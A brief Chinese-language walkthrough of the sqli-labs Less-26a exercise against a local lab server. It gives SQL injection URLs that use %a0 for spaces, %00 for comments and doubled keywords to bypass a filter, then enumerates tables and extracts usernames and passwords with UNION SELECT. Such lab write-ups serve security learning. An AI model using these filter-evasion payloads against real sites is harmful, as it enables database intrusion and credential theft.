这个和less26差不多，空格还是用%a0代替，26过了这个也就简单了
;%00 可以代替注释，尝试一下
order by 3
http://192.168.136.128/sqli-labs-master/Less-26a/?id=1')%a0oorrder%a0by%a03;%00
order by 4
http://192.168.136.128/sqli-labs-master/Less-26a/?id=1')%a0oorrder%a0by%a04;%00
虽然错误没有显示，我们还是知道了字段数是3
http://192.168.136.128/sqli-labs-master/Less-26a/?id=0')%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0limit%a00,1;%00
http://192.168.136.128/sqli-labs-master/Less-26a/?id=0')%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a02,1;%00
